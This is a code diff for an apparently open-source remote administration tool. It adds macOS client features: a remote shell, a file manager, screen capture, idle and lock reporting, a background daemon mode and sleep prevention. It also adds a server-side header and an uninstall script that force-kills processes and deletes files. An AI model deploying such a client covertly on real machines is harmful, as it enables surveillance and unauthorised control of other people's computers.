 // Get screen resolution
 static std::string getScreenResolution()
 {
@@ -140,9 +300,113 @@ static std::string getTimeString()
    return std::string([dateString UTF8String]);
 }

-// Get active application name
+// Get user idle time in seconds (time since last keyboard/mouse input)
+static double getUserIdleTime()
+{
+    // CGEventSourceSecondsSinceLastEventType returns seconds since last event
+    // kCGEventSourceStateCombinedSessionState includes all input sources
+    CFTimeInterval idleTime = CGEventSourceSecondsSinceLastEventType(
+        kCGEventSourceStateCombinedSessionState,
+        kCGAnyInputEventType
+    );
+    // Defensive: ensure non-negative (edge case protection)
+    return idleTime > 0 ? idleTime : 0;
+}
+
+// Check if screen is locked
+static bool isScreenLocked()
+{
+    // Method 1: Check CGSession dictionary for screen lock status
+    CFDictionaryRef sessionDict = CGSessionCopyCurrentDictionary();
+    if (sessionDict) {
+        // Check for "CGSSessionScreenIsLocked" key
+        CFBooleanRef screenLocked = (CFBooleanRef)CFDictionaryGetValue(
+            sessionDict, CFSTR("CGSSessionScreenIsLocked"));
+        if (screenLocked && CFBooleanGetValue(screenLocked)) {
+            CFRelease(sessionDict);
+            return true;
+        }
+        CFRelease(sessionDict);
+    }
+
+    // Method 2: Check if loginwindow is frontmost (screen saver / lock screen)
+    NSRunningApplication* frontApp = [[NSWorkspace sharedWorkspace] frontmostApplication];
+    if (frontApp) {
+        NSString* bundleId = [frontApp bundleIdentifier];
+        if ([bundleId isEqualToString:@"com.apple.loginwindow"] ||
+            [bundleId isEqualToString:@"com.apple.ScreenSaver.Engine"]) {
+            return true;
+        }
+    }
+
+    return false;
+}
+
+// Format time as HH:MM:SS with prefix
+static std::string formatStatusTime(const char* prefix, double seconds)
+{
+    int totalSecs = (int)seconds;
+    int hours = totalSecs / 3600;
+    int mins = (totalSecs % 3600) / 60;
+    int secs = totalSecs % 60;
+
+    char buffer[64];
+    snprintf(buffer, sizeof(buffer), "%s: %02d:%02d:%02d", prefix, hours, mins, secs);
+    return std::string(buffer);
+}
+
+// Get active application name or idle/locked status (works for background processes)
 static std::string getActiveApp()
 {
+    double idleTime = getUserIdleTime();
+
+    // Check if screen is locked first
+    if (isScreenLocked()) {
+        return formatStatusTime("Locked", idleTime);
+    }
+
+    // Check user idle time (matches Windows/Linux: 6 seconds threshold)
+    // If idle for more than 6 seconds, report inactive status
+    if (idleTime >= 6.0) {
+        return formatStatusTime("Inactive", idleTime);
+    }
+
+    // Use CGWindowListCopyWindowInfo to get the frontmost window
+    // This works reliably even when running as a background/nohup process
+    CFArrayRef windowList = CGWindowListCopyWindowInfo(
+        kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements,
+        kCGNullWindowID
+    );
+
+    if (windowList) {
+        CFIndex count = CFArrayGetCount(windowList);
+        for (CFIndex i = 0; i < count; i++) {
+            CFDictionaryRef window = (CFDictionaryRef)CFArrayGetValueAtIndex(windowList, i);
+
+            // Get window layer - layer 0 is normal windows
+            CFNumberRef layerRef = (CFNumberRef)CFDictionaryGetValue(window, kCGWindowLayer);
+            int layer = 0;
+            if (layerRef) {
+                CFNumberGetValue(layerRef, kCFNumberIntType, &layer);
+            }
+
+            // Skip non-normal windows (menu bar, dock, etc.)
+            if (layer != 0) continue;
+
+            // Get owner name (application name)
+            CFStringRef ownerName = (CFStringRef)CFDictionaryGetValue(window, kCGWindowOwnerName);
+            if (ownerName) {
+                char buffer[256] = {};
+                if (CFStringGetCString(ownerName, buffer, sizeof(buffer), kCFStringEncodingUTF8)) {
+                    CFRelease(windowList);
+                    return std::string(buffer);
+                }
+            }
+        }
+        CFRelease(windowList);
+    }
+
+    // Fallback to NSWorkspace (may not work for background processes)
    NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
    if (app) {
        NSString* name = [app localizedName];
@@ -258,9 +522,25 @@ static void fillLoginInfo(LOGIN_INFOR& info)
    // CPU MHz
    info.dwCPUMHz = getCPUFrequencyMHz();

-    // PC Name (hostname)
+    // PC Name (hostname) - with group name if set
    std::string hostname = getHostname();
+    std::string groupName = loadGroupName();
+    if (!groupName.empty()) {
+        // Also update g_SETTINGS for consistency
+        strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
+        g_SETTINGS.szGroupName[sizeof(g_SETTINGS.szGroupName) - 1] = '\0';
+        // Format: "hostname/groupname"
+        std::string pcNameWithGroup = hostname + "/" + groupName;
+        strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
+    } else if (g_SETTINGS.szGroupName[0] != 0) {
+        // Use group from g_SETTINGS (set at build time)
+        groupName = g_SETTINGS.szGroupName;
+        std::string pcNameWithGroup = hostname + "/" + groupName;
+        strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
+    } else {
        strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
+    }
+    info.szPCName[sizeof(info.szPCName) - 1] = '\0';

    // Webcam
    info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
@@ -325,8 +605,20 @@ static void fillLoginInfo(LOGIN_INFOR& info)
    std::string resolution = getScreenResolution();
    info.AddReserved(resolution.c_str());

-    // 17. Client ID (calculated from system info, same algorithm as server)
-    // Format: pubIP|hostname|os|cpu|path
+    // 17. Client ID
+    // V2 算法：IOPlatformUUID + 归一化路径
+    //   - 同机同程序路径永远同 ID（不依赖 IP/hostname/os/CPU 漂移）
+    //   - IOPlatformUUID 主板级，重装系统通常不变；多机各不相同
+    //   - 读取失败时退化到老算法（pubIP|hostname|os|cpu|path）保兼容
+    std::string machineId = getMachineId();
+    if (!machineId.empty()) {
+        std::string normPath = normalizeExePathLower(exePath);
+        std::string idInput = machineId + "|" + normPath;
+        g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
+        NSLog(@"ClientID(v2): %llu (machineId=%s, path=%s)",
+              g_myClientID, machineId.c_str(), normPath.c_str());
+    } else {
+        // 老算法兜底
        char cpuStr[32];
        snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
        std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
@@ -335,8 +627,13 @@ static void fillLoginInfo(LOGIN_INFOR& info)
                              cpuStr + "|" +
                              exePath;
        g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
+        NSLog(@"ClientID(v1 fallback): %llu (IOPlatformUUID 读取失败)", g_myClientID);
+    }
    info.AddReserved(std::to_string(g_myClientID).c_str());

+    // 服务端签名输入：与服务端 AddList 处签名格式一致（startTime + "|" + clientID）
+    g_loginMsg = std::string(info.szStartTime) + "|" + std::to_string(g_myClientID);
+
    NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
          osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
 }
@@ -347,6 +644,7 @@ static void signalHandler(int sig)
 {
    NSLog(@"Received signal %d, shutting down...", sig);
    g_running = false;
+    g_bExit = S_CLIENT_EXIT;  // 通知所有工作线程退出
 }

 static void setupSignals()
@@ -357,6 +655,28 @@ static void setupSignals()
    signal(SIGPIPE, SIG_IGN);
 }

+// 经典 Unix 双 fork 守护进程
+static void daemonize()
+{
+    pid_t pid = fork();
+    if (pid < 0) exit(1);
+    if (pid > 0) exit(0);   // 父进程退出
+
+    setsid();                // 新会话，脱离终端
+
+    pid = fork();            // 第二次 fork，防止重新获取控制终端
+    if (pid < 0) exit(1);
+    if (pid > 0) exit(0);
+
+    // 关闭标准文件描述符，重定向到 /dev/null
+    close(STDIN_FILENO);
+    close(STDOUT_FILENO);
+    close(STDERR_FILENO);
+    open("/dev/null", O_RDONLY);  // fd 0 = stdin
+    open("/dev/null", O_WRONLY);  // fd 1 = stdout
+    open("/dev/null", O_WRONLY);  // fd 2 = stderr
+}
+
 // ============== Main Entry Point ==============

 // RTT 估算器（参考 RFC 6298 算法，与 Windows 端 KernelManager 一致）
@@ -395,12 +715,40 @@ struct RttEstimator {
 RttEstimator g_rttEstimator;
 int g_heartbeatInterval = 5; // 心跳间隔（秒），默认 5 秒，后续可由服务端动态调整

+void* ShellworkingThread(void* param)
+{
+    try {
+        std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
+        void* clientAddr = ClientObject.get();
+        NSLog(@">>> Enter ShellworkingThread [%p]", clientAddr);
+        // 子连接：开启 auth。macOS IOCPClient 不带 m_conn，显式传入 g_myClientID。
+        ClientObject->EnableSubConnAuth(true, g_myClientID);
+        if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
+            std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
+            ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
+            BYTE bToken = TOKEN_TERMINAL_START;
+            ClientObject->Send2Server((char*)&bToken, 1);
+            NSLog(@">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START", clientAddr);
+            while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
+                Sleep(1000);
+            // 清除回调，防止重连线程访问已销毁的 handler
+            ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
+        }
+        NSLog(@">>> Leave ShellworkingThread [%p]", clientAddr);
+    } catch (const std::exception& e) {
+        NSLog(@"*** ShellworkingThread exception: %s ***", e.what());
+    }
+    return NULL;
+}
+
 void* ScreenworkingThread(void* param)
 {
    try {
        std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
        void* clientAddr = ClientObject.get();
        Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
+        // 子连接：开启 auth。macOS IOCPClient 不带 m_conn，显式传入 g_myClientID。
+        ClientObject->EnableSubConnAuth(true, g_myClientID);
        if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
            std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
            if (!handler->init()) {
@@ -413,6 +761,8 @@ void* ScreenworkingThread(void* param)
            Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
            while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
                Sleep(1000);
+            // 清除回调，防止重连线程访问已销毁的 handler
+            ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
        }
        Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
    } catch (const std::exception& e) {
@@ -421,6 +771,30 @@ void* ScreenworkingThread(void* param)
    return NULL;
 }

+void* FileManagerworkingThread(void* param)
+{
+    try {
+        std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
+        void* clientAddr = ClientObject.get();
+        Mprintf(">>> Enter FileManagerworkingThread [%p]\n", clientAddr);
+        // 子连接：开启 auth。macOS IOCPClient 不带 m_conn，显式传入 g_myClientID。
+        ClientObject->EnableSubConnAuth(true, g_myClientID);
+        if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
+            std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
+            ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
+            Mprintf(">>> FileManagerworkingThread [%p] initialized\n", clientAddr);
+            while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
+                Sleep(1000);
+            // 清除回调，防止重连线程访问已销毁的 handler
+            ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
+        }
+        Mprintf(">>> Leave FileManagerworkingThread [%p]\n", clientAddr);
+    } catch (const std::exception& e) {
+        Mprintf("*** FileManagerworkingThread exception: %s ***\n", e.what());
+    }
+    return NULL;
+}
+
 int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
 {
    if (szBuffer == nullptr || ulLength == 0)
@@ -431,6 +805,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
        g_bExit = S_CLIENT_EXIT;
        g_running = false;  // Stop main loop to prevent reconnection
    } else if (szBuffer[0] == COMMAND_SHELL) {
+        std::thread(ShellworkingThread, nullptr).detach();
        Mprintf("** [%p] Received 'SHELL' command ***\n", user);
    } else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
        std::thread(ScreenworkingThread, nullptr).detach();
@@ -438,7 +813,34 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
    } else if (szBuffer[0] == COMMAND_SYSTEM) {
        Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
    } else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
+        std::thread(FileManagerworkingThread, nullptr).detach();
        Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
+    } else if (szBuffer[0] == COMMAND_C2C_PREPARE) {
+        // C2C 准备接收通知
+        FileTransferV2::HandleC2CPrepare(szBuffer, ulLength, nullptr);
+        Mprintf("** [%p] C2C Prepare received ***\n", user);
+    } else if (szBuffer[0] == COMMAND_C2C_TEXT) {
+        // C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N]
+        if (ulLength >= 13) {
+            uint32_t textLen;
+            memcpy(&textLen, szBuffer + 9, 4);
+            if (ulLength >= 13 + textLen && textLen > 0) {
+                if (!ClipboardHandler::IsAvailable()) {
+                    Mprintf("** [%p] C2C Text: clipboard unavailable ***\n", user);
+                } else {
+                    std::string utf8Text((const char*)szBuffer + 13, textLen);
+                    if (ClipboardHandler::SetText(utf8Text)) {
+                        Mprintf("** [%p] C2C Text received: %u bytes ***\n", user, textLen);
+                    }
+                }
+            }
+        }
+    } else if (szBuffer[0] == COMMAND_SEND_FILE_V2 || szBuffer[0] == COMMAND_FILE_COMPLETE_V2) {
+        // V2 文件接收
+        int result = FileTransferV2::RecvFileChunkV2(szBuffer, ulLength, g_myClientID);
+        if (result != 0) {
+            Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
+        }
    } else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
        if (ulLength >= 1 + sizeof(HeartbeatACK)) {
            HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
@@ -455,42 +857,122 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
        }
    } else if (szBuffer[0] == CMD_MASTERSETTING) {
        int settingSize = ulLength - 1;
-        if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
+        // 强制要求完整 MasterSettings（包含 Signature 字段）。包不完整 → 视为非授权服务端
+        if (settingSize < (int)sizeof(MasterSettings)) {
+            g_bExit = S_CLIENT_EXIT;
+            return TRUE;
+        }
        MasterSettings settings = {};
-            memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
+        memcpy(&settings, szBuffer + 1, sizeof(MasterSettings));
+
+        // 服务端身份校验：用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature
+        // 验证签名。失败 → 静默退出（不打印关键词日志）
+        extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature);
+        std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature));
+        if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
+            g_bExit = S_CLIENT_EXIT;
+            return TRUE;
+        }
+        g_settingsVerified = true;
+
        if (settings.ReportInterval > 0)
            g_heartbeatInterval = settings.ReportInterval;
        Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
-        }
    } else if (szBuffer[0] == COMMAND_NEXT) {
        Mprintf("** [%p] Received 'NEXT' command ***\n", user);
+    } else if (szBuffer[0] == CMD_SET_GROUP) {
+        // Extract group name from message (starts at byte 1)
+        std::string groupName;
+        if (ulLength > 1) {
+            groupName = std::string((char*)szBuffer + 1, ulLength - 1);
+            // Remove trailing nulls
+            size_t pos = groupName.find('\0');
+            if (pos != std::string::npos) {
+                groupName = groupName.substr(0, pos);
+            }
+        }
+        // Save to config file
+        saveGroupName(groupName);
+        // Update global settings
+        memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
+        strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
+        // 标记需要重发登录信息（让服务端更新分组显示）
+        g_needResendLogin.store(true);
+        Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
    } else {
        Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
    }
    return TRUE;
 }

+// 用法: ./ghost [-d]
+//   -d  后台守护进程模式
 int main(int argc, const char* argv[])
 {
-    (void)argc;
-    (void)argv;
+    // 解析 -d 参数
+    bool daemon_mode = (argc > 1 && strcmp(argv[1], "-d") == 0);
+
+    // 守护进程模式：在进入 autoreleasepool 之前 fork
+    if (daemon_mode) {
+        daemonize();
+    }

    @autoreleasepool {
-        NSLog(@"=== macOS Ghost Client ===");
+        NSLog(@"=== macOS Ghost Client%s ===", daemon_mode ? " (daemon)" : "");
+
+        // ============== Power Management: Keep System Awake ==============
+        // 1. Disable App Nap - prevent macOS from suspending this process
+        id<NSObject> powerActivity = [[NSProcessInfo processInfo]
+            beginActivityWithOptions:(NSActivityUserInitiated | NSActivityIdleSystemSleepDisabled)
+            reason:@"Remote control client must maintain persistent connection"];
+        NSLog(@"App Nap disabled, activity token acquired");
+
+        // 2. Prevent system idle sleep using IOKit power assertion
+        IOPMAssertionID sleepAssertionID = 0;
+        IOReturn result = IOPMAssertionCreateWithName(
+            kIOPMAssertionTypeNoIdleSleep,
+            kIOPMAssertionLevelOn,
+            CFSTR("SimpleRemoter macOS client - maintaining remote connection"),
+            &sleepAssertionID
+        );
+        if (result == kIOReturnSuccess) {
+            NSLog(@"Power assertion created: system idle sleep disabled (ID: %u)", sleepAssertionID);
+        } else {
+            NSLog(@"Warning: Failed to create power assertion (error: 0x%x)", result);
+        }
+
+        // 3. Display sleep: managed by ScreenHandler - only prevents display sleep
+        //    when remote desktop is actively connected (saves power when idle)

        // Setup signal handlers
        setupSignals();

+        // Load configuration file (~/.config/ghost/config.conf)
+        loadConfig();
+        NSLog(@"Config loaded from %s", g_configPath.c_str());
+
        // Check permissions
        NSLog(@"Checking permissions...");

-        if (!Permissions::checkScreenCapture()) {
+        bool hasScreenCapture = Permissions::checkScreenCapture();
+        if (hasScreenCapture) {
+            NSLog(@"Screen capture permission: OK");
+        } else {
            NSLog(@"Screen capture permission not granted.");
            NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
+            // Request permission (triggers system dialog on first run)
+            Permissions::requestScreenCapture();
+            // Only open settings if this appears to be a re-run without permission
+            // Check again after request (dialog may have been shown)
+            if (!Permissions::checkScreenCapture()) {
                Permissions::openScreenCaptureSettings();
            }
+        }

-        if (!Permissions::checkAccessibility()) {
+        bool hasAccessibility = Permissions::checkAccessibility();
+        if (hasAccessibility) {
+            NSLog(@"Accessibility permission: OK");
+        } else {
            NSLog(@"Accessibility permission not granted.");
            NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
            Permissions::requestAccessibility();
@@ -501,6 +983,8 @@ int main(int argc, const char* argv[])
            NSLog(@"Full Disk Access: not detected (may be false negative).");
            NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access");
            // Don't auto-open settings since detection is unreliable
+        } else {
+            NSLog(@"Full Disk Access: OK");
        }

        // Create client
@@ -519,10 +1003,20 @@ int main(int argc, const char* argv[])
                continue;
            }

+            // 进入新连接，重置服务端身份校验状态
+            g_loginTime = time(nullptr);
+            g_settingsVerified = false;
            ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));

            // 心跳保活循环：定时发送心跳包，服务端回复后动态更新 RTT
            while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
+                // 检查是否需要重发登录信息（分组变更后）
+                if (g_needResendLogin.exchange(false)) {
+                    fillLoginInfo(logInfo);
+                    ClientObject->SendLoginInfo(logInfo);
+                    Mprintf(">> Resent login info after group change\n");
+                }
+
                // 等待心跳间隔（每秒检查一次退出条件，保证及时响应）
                int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
                for (int i = 0; i < interval; ++i) {
@@ -533,6 +1027,13 @@ int main(int argc, const char* argv[])
                if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
                    break;

+                // 兜底：登录后 30 秒内必须收到并通过 MasterSettings 校验，否则视为非授权服务端
+                if (!g_settingsVerified && g_loginTime > 0 &&
+                    time(nullptr) - g_loginTime > 30) {
+                    g_bExit = S_CLIENT_EXIT;
+                    break;
+                }
+
                // 构造并发送心跳包（与 Windows 端 KernelManager::SendHeartbeat 格式一致）
                std::string activity = getActiveApp();

@@ -549,6 +1050,15 @@ int main(int argc, const char* argv[])
        }

        NSLog(@"Shutting down...");
+
+        // Release power assertions
+        if (sleepAssertionID) {
+            IOPMAssertionRelease(sleepAssertionID);
+            NSLog(@"Released sleep assertion");
+        }
+        // Display assertion is managed by ScreenHandler (released in stop())
+        // powerActivity is automatically released when exiting @autoreleasepool
+        (void)powerActivity;  // Suppress unused variable warning
    }

    return 0;
--- a/macos/uninstall.sh
+++ b/macos/uninstall.sh
@@ -0,0 +1,32 @@
+#!/bin/bash
+# macOS Ghost Client 卸载脚本
+
+APP_DIR="/Applications/GhostClient.app"
+
+echo "=== GhostClient 卸载程序 ==="
+echo ""
+
+# 1. 停止进程
+echo "[1/3] 停止进程..."
+pkill -9 -f "$APP_DIR" 2>/dev/null || true
+
+# 2. 删除文件
+echo "[2/3] 删除文件..."
+sudo rm -rf "$APP_DIR"
+rm -rf ~/.config/ghost 2>/dev/null || true
+rm -f /tmp/ghost.log 2>/dev/null || true
+
+# 3. 移除登录项
+echo "[3/4] 移除登录项..."
+osascript -e 'tell application "System Events" to delete login item "GhostClient"' 2>/dev/null || true
+
+# 4. 重置系统权限
+echo "[4/4] 重置系统权限..."
+tccutil reset ScreenCapture 2>/dev/null || true
+tccutil reset Accessibility 2>/dev/null || true
+
+echo ""
+echo "========================================"
+echo "           卸载完成"
+echo "========================================"
+echo ""
--- a/server/2015Remote/2015Remote.cpp
+++ b/server/2015Remote/2015Remote.cpp
@@ -526,14 +526,13 @@ BOOL CMy2015RemoteApp::InitInstance()
    SetChineseThreadLocale();

    // 加载语言包（必须在显示任何文本之前）
+    // 内嵌资源支持 en_US 和 zh_TW，无需外部文件
    auto lang = THIS_CFG.GetStr("settings", "Language", "en_US");
    auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang");
    langDir = langDir.empty() ? "./lang" : langDir;
-    if (PathFileExists(langDir.c_str())) {
-        g_Lang.Init(langDir.c_str());
-        g_Lang.Load(lang.c_str());
-        Mprintf("语言包目录已经指定[%s], 语言数量: %d\n", langDir.c_str(), g_Lang.GetLanguageCount());
-    }
+    g_Lang.Init(langDir.c_str());  // 初始化目录（用于磁盘补丁文件）
+    g_Lang.Load(lang.c_str());     // 加载语言（优先内嵌资源，再覆盖磁盘文件）
+    Mprintf("语言: %s, 目录: %s\n", lang.c_str(), langDir.c_str());

    // 创建并显示启动画面
    CSplashDlg* pSplash = new CSplashDlg();
--- a/server/2015Remote/2015Remote.rc
+++ b/server/2015Remote/2015Remote.rc
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -96,6 +96,14 @@ extern CMy2015RemoteDlg* g_2015RemoteDlg;
 // 注意：m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量
 bool SupportsFileTransferV2(context* ctx);

+// 获取客户端协议字符串编码 (CP_UTF8 或 936)。
+// 适用于任意 context：
+//   - 主连接：直接读自身的 CAPABILITIES
+//   - 子连接（KeyBoardDlg / SystemDlg / FileManagerDlg 等）：CAPABILITIES 为空，
+//     通过 peer IP 查 m_HostList 中的主连接获取能力位
+// 找不到主连接或老客户端：默认 CP936（覆盖 95% 简中/英语 ASCII 老客户端）。
+UINT GetClientEncoding(context* ctx);
+
 // 服务端待续传的传输信息
 struct PendingTransferV2 {
    uint64_t clientID;
@@ -215,13 +223,17 @@ public:
    MasterSettings m_settings;
    static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
    static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
-    BOOL AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
-    BOOL AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
+    int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
+    int AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
    VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
    VOID SendSelectedCommand(PBYTE  szBuffer, ULONG ulLength, contextModifier cb = NULL, void* user=NULL);
    VOID SendAllCommand(PBYTE  szBuffer, ULONG ulLength);
    // 显示用户上线信息
    CWnd* m_pFloatingTip = nullptr;
+    // 屏幕预览：m_pFloatingTip 实际是 CPreviewTipWnd 时这里有同一指针的有类型副本，
+    // 用于在收到 JPEG 后调用 SetImageFromJpeg；DeletePopupWindow 释放时一并置空。
+    class CPreviewTipWnd* m_pPreviewTip = nullptr;
+    WORD m_PreviewReqId = 0;            // 当前期待的预览响应序号；0 = 无待响应
    // 记录 clientID（心跳更新）
    std::set<uint64_t> m_DirtyClients;
    // 待处理的上线/下线事件（批量更新减少闪烁）
@@ -237,6 +249,12 @@ public:
 	std::string m_v2KeyPath;                      // V2 密钥文件路径
    void RebuildFilteredIndices();                 // 重建过滤索引
    context* GetContextByListIndex(int iItem);     // 根据列表索引获取 context（考虑分组过滤）
+
+    // 启发式 ID 迁移：新客户端首次上线时，按 (ComputerName, ProgramPath) 在 m_ClientMap
+    // 里找老条目，若唯一匹配则把元数据（备注/位置/级别/授权）拷贝到 newId。
+    // 多于一个候选时保守跳过，写日志让运维手动处理，避免误聚合。
+    // 返回 true 表示有迁移发生（调用方需触发 dat 文件落盘）。
+    bool TryMigrateClientMetadata(uint64_t newId, const CString& pcName, const CString& exePath);
    void LoadListData(const std::string& group);
    void DeletePopupWindow(BOOL bForce = FALSE);
    void CheckHeartbeat();
@@ -255,6 +273,7 @@ public:
    CGridDialog * m_gridDlg = NULL;
    std::vector<DllInfo*> m_DllList;
    context* FindHostByIP(const std::string& ip);
+    uint64_t FindClientIDByIP(const std::string& ip);  // 线程安全：在锁内获取ID
    void InjectTinyRunDll(const std::string& ip, int pid);
    NOTIFYICONDATA  m_Nid;
    HANDLE m_hExit;
@@ -275,6 +294,7 @@ public:
    CDialogBase* GetRemoteWindow(CDialogBase* dlg);
    void RemoveRemoteWindow(HWND wnd);
    void CloseRemoteDesktopByClientID(uint64_t clientID);
+    void CloseWebRemoteDesktopByClientID(uint64_t clientID);  // Only close Web session dialog
    CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
    void UpdateActiveRemoteSession(CDialogBase* sess);
    CDialogBase* GetActiveRemoteSession();
@@ -342,7 +362,13 @@ public:
    afx_msg void OnSize(UINT nType, int cx, int cy);
    afx_msg void OnExitSizeMove();
    afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
-    afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult);  // 虚拟列表数据回调
+    afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult);  // 虚拟列表数据回调（A 版，备用）
+    afx_msg void OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调（W 版，启用 LVM_SETUNICODEFORMAT 后实际触发的）
+
+    // "活动窗口"列的宽字符旁路表：clientID -> Unicode 标题。
+    // 协议字段 hb.ActiveWnd 已约定为 UTF-8（老客户端 GBK 回退），由服务端解码后存入。
+    // 由 m_cs 保护。
+    std::map<uint64_t, std::wstring> m_ActiveWndW;
    afx_msg void OnOnlineMessage();
    afx_msg void OnOnlineDelete();
    afx_msg void OnOnlineUpdate();
@@ -412,6 +438,12 @@ public:
    afx_msg void OnWhatIsThis();
    afx_msg void OnOnlineAuthorize();
    void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
+    // 屏幕预览：依 ctx 最近 RTT + 屏幕分辨率挑参数；4K/超宽屏在 LAN 档自适应放大
+    void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const;
+    // 发起预览请求；reqId 应与 m_PreviewReqId 同步
+    void SendScreenPreviewRequest(context* ctx, WORD reqId, WORD maxWidth, BYTE jpegQuality);
+    // 收到 TOKEN_SCREEN_PREVIEW_RSP（在主线程处理）
+    afx_msg LRESULT OnPreviewResponse(WPARAM wParam, LPARAM lParam);
    afx_msg void OnOnlineUnauthorize();
    afx_msg void OnToolRequestAuth();
    afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -338,6 +338,7 @@
    <ClInclude Include="FeatureLimitsDlg.h" />
    <ClInclude Include="FrpsForSubDlg.h" />
    <ClInclude Include="PluginSettingsDlg.h" />
+    <ClInclude Include="PreviewTipWnd.h" />
    <ClInclude Include="TriggerSettingsDlg.h" />
    <ClInclude Include="proxy\HPSocket.h" />
